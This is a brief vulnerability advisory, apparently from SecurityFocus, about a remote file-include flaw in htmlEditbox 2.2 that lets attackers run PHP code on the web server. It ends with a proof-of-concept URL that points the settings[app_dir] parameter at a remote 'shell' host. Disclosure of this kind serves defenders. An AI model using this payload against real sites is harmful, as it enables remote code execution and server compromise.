source: https://www.securityfocus.com/bid/23664/info

htmlEditbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this vulnerability to execute malicious PHP code in the context of the webserver. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

htmlEditbox 2.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/_editor.php?settings[app_dir]=http://shell